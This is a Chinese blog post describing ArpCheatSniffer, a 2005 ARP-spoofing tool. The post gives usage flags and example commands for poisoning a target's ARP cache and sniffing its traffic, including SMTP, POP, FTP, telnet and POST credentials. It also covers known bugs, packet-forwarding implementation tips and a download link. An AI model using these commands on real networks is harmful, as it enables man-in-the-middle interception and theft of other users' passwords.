arpsf 嗅探使用

================================================================================

                ArpCheatSniffer V1.0
                Powered by shadow @2005/5/8
                my web:http://www.codehome.6600.org
                Has bugs please mail to:dreamshadow@mail.sdu.edu.cn

================================================================================

Usage:
-si                     源ip
-di                     目的ip       *代表所有,多项用,号分割
-sp                     源端口
-dp                     目的端口     *代表所有
-w                      嗅探方式,1代表单向嗅探[si->di],0代表双向嗅探[si<->di]
-p                      嗅探协议[TCP,UDP,ICMP]大写
-m                      最大记录文件,以M为单位
-o                      文件输出
-hex                    十六进制输出到文件
-unecho                 不回显
-unfilter               不过虑0字节数据包
-low                    粗略嗅探,丢包率高,cpu利用率低 基本0
-timeout                嗅探超时,除非网络状况比较差否则请不要调高,默认为120秒
-sniffsmtp              嗅探smtp
-sniffpop               嗅探pop
-sniffpost              嗅探post
-sniffftp               嗅探ftp
-snifftelnet            嗅探telnet,以上5个嗅探不受参数si,sp,di,dp,w,p影响.
-sniffpacket            规则嗅探数据包,受参数si,sp,di,dp,w,p影响.
-sniffall               开启所有嗅探
-onlycheat              只欺骗
-cheatsniff             欺骗并且嗅探
-reset                  欺骗后恢复
-g                      [网关ip]
-c                      [欺骗者ip] [mac]
-t                      [受骗者ip]
-time                   [欺骗次数]
Example:
arpsniffer -p TCP -dp 25,110 -o f:/1.txt -m 1 -sniffpacket
   嗅探指定规则数据包并保存到文件
arpsniffer -sniffall -cheatsniff -t 127.0.0.1 -g 127.0.0.254
   欺骗并且嗅探127.0.0.1与外界的通讯,输出到屏幕
arpsniffer -onlycheat -t 127.0.0.1 -c 127.0.0.2 002211445544 -time 100 -reset
   对目标欺骗一百次,欺骗后恢复
Note:
        Program for 阿黛,I am very sorry for do this so late.Forgive me~~ :)
================================================================================

帮忙测试一下吧,有bug联系我
我本机测试的时候发现了些bug,不知道是不是我们这边是ipv6的原因
程序和代码都在附件里~
注意程序运行的时候不要用arp.exe的名字,这会产生一个错误,改成任意其他名字就行了

典型的例子如下,譬如我要嗅探本网段中192.168.0.54这台机子与外网段tcp的连接情况,可以这样用:
arpsf -cheatsniff -t 192.168.0.54 -g 192.168.0.254 -sniffpacket -p TCP -dp 80,25,23,110 -o d:/siff.txt -w 0 -m 1

释意:
嗅探192.168.0.54与外网的tcp连接情况并指定目的端口是80,23,25,110,嗅探方式是双向嗅探,最大记录文件是1M,输出到d盘sniff.txt文件中。其中192.168.0.254是网关的地址!也可以改成同网段中其他的地址,那就是网内嗅探了!

我发现的以下bug:

1.本机运行该程序时会使自己上不了网,可能是数据包转发的时候出了点问题。[了解的告诉我一下]

2.在欺骗嗅探的时候会降低对方的网速,程序执行还有优化的地方,希望大家提出比较好的解决方法。

–》其他bug等待大家发现。。。

几点不足:

由于时间仓促,只能分析tcp,udp和icmp三种数据包,等以后有时间了我会把其他包的分析都添上去的~~

注意事项:

在运行该程序前,请先安装winpcap驱动!
================================================================================
编程中遇到的问题:

1.数据包构造问题

  由于数据包的大小是固定,多一个字节都会出错,因此在构造结构体的时候尤其要小心,不要忘记vc中对结构体变量大小自动对齐这个问题;所谓自动对齐释疑如下:

在vc里定义结构体的时候,在32bit的模式下,结构体中的变量内存会自动对齐,打个比方吧:[这个问题我是在安焦上看到的,刚好解决了我的arp发送问题]

例有如下结构体:

struct test{

char ch;

int len;

}a;

这个结构体的实际大小实际上是8个字节,因为在32bit下自动对齐,所以ch后面会多出3个字节。

如果不想自动对齐,可以在结构体的前后加上#pragma参数

例如做如下定义:

#pragma pack(push,1)

struct test{

char ch;

int len;

}a;

#pragma pack(pop)

此时的结构体a才是5个字节!

2.数据包转发问题

  这个在嗅探中是很重要,如果转发不成功,对方就会断网了。
  这里具体的实现你们看代码吧,我只讲两点

一、
   用winpacap转发的时候注意这个函数的引用,PacketInitPacket(lpPacket, SZbuff, 60);
   在发包前初始化一次PacketInitPacket(lpPacket, SZbuff, 60);在嗅探前初始化回来PacketInitPacket(lpPacket,buffer,256000);
   如果要嗅探数据包要确保内存足够大,基本256000就行了。

二、注意在转发数据包的时候不要对自己发出去的然后又拦截下来的数据包重复捕获,否则就陷入死循环了,具体看我代码中的

RebuildPacketAndRedirect()
PacketIsCheatPacket()
PacketIsSelfPacket()
这三个函数的用法!

主要的就这些问题了,希望对大家有所帮助。:)

http://www.xfocus.net/tools/200505/arpsf.rar

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值